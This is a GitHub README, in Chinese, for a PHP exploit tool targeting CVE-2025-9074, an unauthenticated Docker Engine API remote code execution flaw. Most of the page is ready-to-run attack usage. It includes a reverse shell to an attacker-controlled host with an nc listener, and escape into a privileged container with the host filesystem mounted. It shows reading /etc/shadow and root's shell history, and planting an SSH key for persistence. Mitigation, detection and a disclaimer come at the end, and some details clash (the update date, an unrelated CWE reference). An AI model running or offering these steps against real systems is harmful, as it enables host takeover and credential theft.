c0gnit00/CVE-2025-9074

GitHub: c0gnit00/CVE-2025-9074

针对 Docker Engine API 未授权访问漏洞(CVE-2025-9074)的 PHP 利用工具,可通过创建特权容器实现容器逃逸与宿主机远程代码执行。

Stars: 0 | Forks: 0

# CVE-2025-9074: Docker Engine API 未授权 RCE CVE-2025-9074 的漏洞概念验证 exploit,这是 Docker Engine API 中的一个未授权远程代码执行漏洞,允许进行特权容器逃逸和宿主系统入侵。 ## 🔴 漏洞概述 CVE-2025-9074 是 Docker Desktop 中的一个严重漏洞,该漏洞在暴露 Docker Engine API 时没有进行适当的身份验证或网络隔离。这使得远程攻击者能够: - 以提升的权限执行任意命令 - 逃逸容器隔离并访问宿主文件系统 - 建立与攻击者控制系统的反弹 shell 连接 - 入侵整个容器宿主机及底层宿主操作系统 ### 攻击向量 - **网络暴露**:Docker API 暴露在网络接口上(通常是 2375/TCP 端口) - **无身份验证**:API 接受未经身份验证的请求 - **特权容器**:能够创建具有宿主文件系统访问权限的特权容器 - **绑定挂载**:通过绑定挂载路径直接访问宿主文件系统 ## 📋 要求 - PHP CLI (7.0+) - 在 PHP 中启用 curl 扩展 - 具备到暴露的 Docker API endpoint 的网络连通性 - Docker Desktop < 4.44.3(存在漏洞的版本) ### 目标系统的要求 此漏洞影响: - **Docker Desktop for Windows** < 4.44.3 - **Docker Desktop for Mac** < 4.44.3 - **Docker Engine**(在未使用 TLS 暴露的情况下) ## 🚀 快速开始 ### 安装 ``` git clone https://github.com/yourusername/CVE-2025-9074.git cd CVE-2025-9074 ``` ### 基本用法 在 Docker 宿主机上执行单条命令: ``` php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" ``` ### 反弹 Shell 建立交互式反弹 shell: ``` # Terminal 1: 启动 listener nc -lvnp 4444 # Terminal 2: 运行 exploit php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444 ``` ## 📖 使用指南 ### 命令语法 ``` php poc.php -u [options] ``` ### 选项 | 选项 | 简写 | 必填 | 描述 | |--------|-------|----------|-------------| | `--url` | `-u` | ✅ 是 | Docker API URL(例如:`http://1.2.3.4:2375`) | | `--mode` | `-m` | ❌ 否 | 执行模式:`cmd` 或 `reverse`(默认:`cmd`) | | `--cmd` | `-c` | ⚠️ cmd 模式需要 | 要在目标上执行的命令 | | `--lhost` | `-l` | ⚠️ reverse 模式需要 | 用于接收回调的 IP 地址 | | `--lport` | `-p` | ❌ 否 | 监听端口(默认:4444) | | `--os` | — | ❌ 否 | 目标 OS:`linux`、`mac`、`windows`(默认:`linux`) | | `--cleanup` | — | ❌ 否 | 执行完成后移除容器 | | `--help` | `-h` | ❌ 否 | 显示帮助信息 | ### 模式:命令执行 在目标上执行单条命令: ``` # 简单命令 php poc.php -u http://192.168.65.7:2375 -m cmd -c "id" # 从 host 读取文件 php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup # 带 cleanup php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup ``` ### 模式:反弹 Shell 生成带有回调的交互式 shell: ``` php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444 ``` ### 特定操作系统示例 #### Linux 目标 ``` php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux ``` #### Windows 目标 ``` php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows ``` #### macOS 目标 ``` php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac ``` ## 🎯 真实渗透场景 ### 1. 信息侦察 ``` # 枚举 host 系统 php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a" php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" ``` ### 2. 凭据收集 ``` # 提取敏感文件 php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history" php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd" ``` ### 3. 权限维持 ``` # 添加 SSH key php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys" ``` ### 4. 横向移动 ``` # 枚举正在运行的 container 和网络 php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all" ``` ## 🔍 技术细节 ### 漏洞机制 1. **暴露的 Docker Socket/API**:Docker API 监听 `0.0.0.0:2375` 且无需身份验证 2. **创建特权容器**:POC 通过 `/containers/create` 创建特权容器 3. **宿主文件系统绑定**:容器使用绑定挂载来访问宿主文件系统: - **Linux**:`/:/mnt/hostfs` - **macOS**:`/:/mnt/hostfs` - **Windows**:`/mnt/host/c:/mnt/hostfs` 4. **命令执行**:在容器内部以 root/SYSTEM 权限执行命令 5. **访问宿主文件系统**:直接对 `/mnt/hostfs` 路径进行读写访问 ### Payload 流程 ``` ┌─────────────────────────────────────────────────────┐ │ poc.php (Your Machine) │ └────────────┬────────────────────────────────────────┘ │ HTTP REST API Call ▼ ┌─────────────────────────────────────────────────────┐ │ Docker API (Target Port 2375) [UNAUTHENTICATED] │ └────────────┬────────────────────────────────────────┘ │ Creates Container ▼ ┌─────────────────────────────────────────────────────┐ │ Privileged Alpine Container │ │ ├─ Full Root Access │ │ ├─ Bind Mount: /:/mnt/hostfs │ │ └─ Executes Attacker Command │ └────────────┬────────────────────────────────────────┘ │ Command Output ▼ ┌─────────────────────────────────────────────────────┐ │ Output Returned to Attacker │ └─────────────────────────────────────────────────────┘ ``` ### 代码分析 - **Docker API 交互**:使用 cURL 进行 HTTP/1.1 REST API 通信 - **Docker 日志解复用**:正确处理 Docker 的多路复用流格式 - **跨平台支持**:适配 Windows/Mac/Linux 的绑定挂载路径 - **超时处理**:为长时间运行的命令提供 60 秒超时控制 ## 🛡️ 缓解措施 ### 立即处置行动 1. **升级 Docker Desktop** # 更新至 4.44.3 或更高版本 2. **网络隔离** - 将 Docker API 端口 (2375) 限制为仅本地访问 - 使用防火墙规则阻止外部访问 - 禁用 Docker API socket 暴露 3. **启用 TLS 身份验证** # 为 Docker daemon 配置 TLS 证书 # 在 daemon.json 中: { "tlsverify": true, "tlscacert": "/etc/docker/ca.pem", "tlscert": "/etc/docker/server-cert.pem", "tlskey": "/etc/docker/server-key.pem" } 4. **网络分段** - 在隔离的网络上运行 Docker Desktop - 实施零信任网络访问 - 使用 VPN 进行远程访问 ### Docker Desktop 设置 - **Windows/Mac**:禁用 "Expose daemon on tcp://localhost:2375" - 仅使用 Unix socket (`/var/run/docker.sock`) 进行本地访问 - 通过包含凭据的 Docker Context 实施身份验证 ## 📊 检测 ### 网络检测 ``` # 扫描暴露的 Docker API nmap -p 2375,2376 -sV target_network # 检查端口是否响应 Docker API curl -s http://target:2375/version ``` ### 日志检测 - 监控 Docker daemon 日志以发现异常的 API 调用 - 对特权容器创建行为进行告警 - 跟踪绑定挂载的使用模式 ## ⚠️ 免责声明 **本工具仅供授权的安全测试和教育目的使用。** - 仅在您拥有或获得明确测试授权的系统上使用此 POC - 未经授权访问计算机系统是违法行为 - 用户需对自己的行为承担全部责任 - 本 POC 旨在用于授权的渗透测试和漏洞研究 ## 📝 参考 - [Docker Engine 安全](https://docs.docker.com/engine/security/) - [Docker API 文档](https://docs.docker.com/engine/api/) - [CVE-2025-9074 详情](https://nvd.nist.gov/vuln/detail/CVE-2025-9074) - [CWE-784: 依赖 Cookies 而缺乏适当验证](https://cwe.mitre.org/data/definitions/784.html) ## 📄 许可证 本项目基于 MIT 许可证授权 - 详见 LICENSE 文件。 ## 👤 作者 安全研究员 | 渗透测试工程师 **最后更新**:2025 年 5 月 | **状态**:活跃研究中
标签:ffuf, OpenVAS, PHP, Web截图, Web报告查看器, 安全, 容器安全, 超时处理